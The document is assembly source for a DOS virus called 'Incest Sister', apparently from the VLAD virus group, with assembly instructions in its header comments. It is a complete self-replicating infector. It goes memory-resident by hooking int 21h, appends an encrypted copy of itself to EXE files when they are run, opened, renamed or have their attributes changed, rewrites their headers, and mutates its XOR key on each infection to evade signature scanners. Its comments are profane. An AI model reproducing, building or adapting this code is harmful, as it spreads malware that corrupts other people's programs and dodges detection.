; 旼컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� ; � Incest Sister Virus � ; 읕컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� ; Uses encryption. EXE infection only. I think it's 7XX bytes long. ; Unsure how long exactly... Manually allocates memory. TSR. ; Infects on Rename, Chmod, Open, Extended Open and Execute. ; Anti-debugging and Anti-heuristic code developed here. ; To add: Code efficiency. (Nah, fuck it! :) ; Assemble using 'a86 +o sister.asm', 'link sister;' dummy segment assume cs:dummy,ds:data_seg,ss:stack_seg dumb proc far dumdum: mov ax,4c00h ;The dummy infectee. int 21h ;When the virus finishes ;it returns here. dumb endp dummy ends stack_seg segment stack ;Stack segment db 1000 dup (0) stack_seg ends data_seg segment ;Another crappy segment of db 'stuff' ;no use to anyone... data_seg ends code_seg segment assume cs:code_seg,ds:data_seg,ss:stack_seg main proc far entry: call crap_ret ;Get IP return_here: ;Where the ret will return. mov word ptr cs:[si+offset orig_sp],sp ;Save the stack. mov word ptr cs:[si+offset orig_ss],ss mov word ptr cs:[si+offset quit], 20cdh ;Fuck all scanners. quit: cli ;Ints off while fucking with mov dx,cs ;the stack. mov ss,dx mov sp,si add sp,offset stackend sti ;Run decryption mov al,byte ptr cs:[si+encryptor] ;Setup the encryption. push si add si,offset enc_start call encrypt ;Decrypt. pop si ;Restore SI enc_start: ;Start encrypting here. ;do stuff push ax push bx push cx push dx ;Save everything. push ds push es push si push di ;Residency check goes in here... mov ah,61h ;Sis!(ter) mov di,'SI' mov bx,'S' int 21h cmp cx,'SI' jne not_installed cmp dx,'S' jne not_installed jmp jend ;Already in memory - exit. not_installed: xor ax,ax ;Segment 0... where the mov es,ax ;interrupt table lurks... mov ax,word ptr es:[132] ;Put int21 in i21... mov word ptr cs:[si+offset i21],ax mov word ptr cs:[si+offset int21_2],ax mov ax,word ptr es:[134] mov word ptr cs:[si+offset i21 +2],ax mov word ptr cs:[si+offset int21_2 + 2],ax ;Check for incest family marker here... mov ah,61h ;Sis!(ter) mov di,'IN' int 21h cmp di,'NI' jne not_incest mov word ptr cs:[si+offset int21_2],cx ;Pass through the mov word ptr cs:[si+offset int21_2+2],dx ;original int21h ;from another family ;member already ;resident. not_incest: ;Make the Virus go TSR! push cs pop es ;ES=CS mov ax,ds dec ax mov es,ax ;MCB segment. cmp byte ptr es:[0],5ah ;'Z' jne jend sub word ptr es:[3],120 sub word ptr es:[12h],120 ;120*16 bytes less memory. mov ax,es:[12h] ;Make our virus last chain mov es,ax mov byte ptr es:[0],5ah ;Setup our own MCB mov word ptr es:[1],8 ;Owner=DOS mov word ptr es:[3],1500 ;Segment size inc ax mov es,ax mov di,offset entry mov cx,length ;virus size push cs pop ds push si rep movsb ;Move virus. pop si mov bx,es ;Save virus segment xor ax,ax ;segment of vector table mov es,ax mov ax,offset infection ;change vector table to point cli mov word ptr es:[132],ax ;to our virus... mov word ptr es:[134],bx sti jend: pop di pop si pop es pop ds ;Restore all. pop dx pop cx pop bx pop ax ;add es,10h mov dx,es ;EXE starts at PSP+10h add dx,10h ;add original offset of cs in paragraphs. add word ptr cs:[si+jump+2],dx ;now you have your cs to jump to ;move it where we want it then jump to it. cli mov sp,word ptr cs:[si+orig_sp] ;Restore stack mov ss,word ptr cs:[si+orig_ss] sti xor dx,dx xor si,si db 0eah ;JMPF jump dw 0 dw 0 ;###### Here is the Details ###### Virus_Name db '[Incest Sister]',0 Author db 'by VLAD - Brisbane, OZ',0 infection proc far cmp ah,4bh ;Execute. je test_exe cmp ah,43h ;Chmod. je test_exe cmp ah,56h ;Rename. je test_exe cmp ax,6c00h ;Extended open. je test_exe cmp ah,3dh ;Normal open. je test_exe ;Residency test. cmp ah,61h jne not_testing cmp di,'SI' jne chk4incest cmp bx,'S' jne not_testing mov cx,'SI' mov dx,'S' ;Return test parameters. iret chk4incest: cmp di,'IN' jne not_testing mov di,'NI' ;Incest Marker... mov cx,word ptr cs:[int21_2] mov dx,word ptr cs:[int21_2 + 2] ;Pass original int21h out. iret not_testing: jmp far_tsr_end test_exe: push ax push bx push cx push dx push ds push es push si push di cmp ah,6ch ;Extended open. jne no_fix_6c mov dx,si ;Small alteration for 61h no_fix_6c: cld ;Clear Direction Flag. mov si,dx ;Filename being executed. dec si find_ascii_z: inc si cmp byte ptr ds:[si],0 ;Find end of ASCIIZ name. jne find_ascii_z sub si,4 ;Length of '.EXE' cmp word ptr ds:[si],'E.' je exe_found1 jmp f_pop_exit exe_found1: cmp word ptr ds:[si+2],'EX' ;Test for '.EXE' je exe_found2 really_crappy_pop_jump: jmp f_pop_exit ;Cant jxx 127+ bytes so use ;this... exe_found2: mov ax,3d02h ;Open! call int21h jc really_crappy_pop_jump mov bx,ax ;File handle. xor ax,ax mov es,ax mov ax,word ptr es:[144] mov word ptr cs:[i24],ax mov ax,word ptr es:[146] mov word ptr cs:[i24+2],ax ;Save int24h mov word ptr es:[144],offset int24h mov es:[146],cs ;Cool handler! ;read in header push cs pop ds ;DS=CS mov ax,5700h call int21h ;Save the file date for ;later use. mov filetime,cx ;File date and Time. mov filedate,dx mov ah,3fh mov cx,1ah mov dx,offset header ;Read the header in here. call int21h mov si,offset header ;Index to the header. cmp word ptr [si+12h],'SI' ;Our 'sister' marker. jne clean_file jmp far_close_exit clean_file: mov cx,word ptr [si] ;MZ header. add ch,cl ;Add M+Z = 167. cmp ch,167 je good_exe jmp far_close_exit ;convert headersize to bytes good_exe: mov ax,word ptr [si+8] mov cl,4 shl ax,cl ;Mul by 16 - paragraphs mov word ptr hsize,ax ;Header size in bytes. ;save original cs & ip for later use mov ax,word ptr [si+14h] mov word ptr jump,ax mov ax,word ptr [si+16h] mov word ptr jump+2,ax ;end of file mov ax,4202h ;Go to EOF. xor cx,cx xor dx,dx call int21h ;get file length ;convert length to paragraph/offset form sub ax,word ptr hsize sbb dx,0 mov cx,10h div cx ;write to header mov word ptr [si+14h],dx ;New IP/CS mov word ptr [si+16h],ax ;fix up encryption push si mov word ptr quit,8cfah ;Fixup from our 'int 20h' bit cmp byte ptr encryptor,0ffh jne not_zero inc byte ptr encryptor not_zero: inc byte ptr encryptor ;Change the encryptor to fuck mov al,byte ptr encryptor ;up all those signature ;scanners... push cs pop es mov si,offset entry ;Copy code to end of TSR mov di,offset stackend ;so we can encrypt it. mov cx,length ;Virus Size. rep movsb ;Move it! mov si,offset stackend ;Find the offset of add si,offset enc_start ;the encryption start. call encrypt ;Encrypt it. pop si ;Restore it. ;write virus to eof mov ah,40h mov cx,length ;Virus Size mov dx,offset stackend call int21h jc far_close_exit ;get new file length mov ax,4202h ;EOF again. xor cx,cx xor dx,dx call int21h ;work out number of pages and write to header push dx ;Save them. push ax mov cx,512 ;Page Size = 512. div cx inc ax mov word ptr [si+4],ax ; new file size pop ax pop dx sub ax,word ptr hsize sbb dx,0 mov cx,512 div cx mov word ptr [si+2],dx ;Size of last page. mov ax,4200h ;Start of file. xor cx,cx xor dx,dx call int21h mov word ptr [si+12h],'SI' ;Put Marker into header. mov ah,40h ;Write header. mov dx,offset header mov cx,1ah call int21h mov ax,5701h ;Restore file time. mov cx,filetime mov dx,filedate call int21h far_close_Exit: mov ah,3eh ;Close file. call int21h xor ax,ax mov es,ax ;Interrupt vector table at mov ax,word ptr cs:[i24] ;Segment 0. mov es:[144],ax mov ax,word ptr cs:[i24+2] mov es:[146],ax ;Reset int 24h f_pop_exit: pop di pop si pop es pop ds pop dx ;Restore everything. pop cx pop bx pop ax far_tsr_end: ; jmp dword ptr cs:[i21] db 0eah ;Self modifying code here. i21 dd 0 hsize dw 0 ;Header size in bytes. filedate dw 0 ;File date. filetime dw 0 ;File time. int24h proc near ;Stops embarassing error messages on write protected ;diskettes... mov al,3 iret int24h endp i24 dd 0 ;Original int24h int21h proc near ;False int21h pushf db 9ah ;'Call far ptr' opcode. int21_2 dd 0 ;Save second int 21h here... enc_end: ret int21h endp encrypt proc near ; SI = offset of bit to be encrypted. ; AL = encryptor. push cx mov cx,offset enc_end - offset enc_start enc_loop: xor byte ptr cs:[si],al inc si ror al,1 neg al loop enc_loop pop cx ret encrypt endp encryptor db 0 orig_sp dw 0 orig_ss dw 0 crap_ret proc near ;Crappy 'Ret' routine to get IP. mov bp,sp mov si,word ptr ss:[bp] ;SS:SP = IP sub si,offset return_here xor bp,bp ret crap_ret endp ;Storage for the EXE header. header: db 1ah dup (0) ;The temporary stack. stackseg db 100 dup (0) stackend db 0 ;Equ's! length equ offset header infection endp main endp code_seg ends end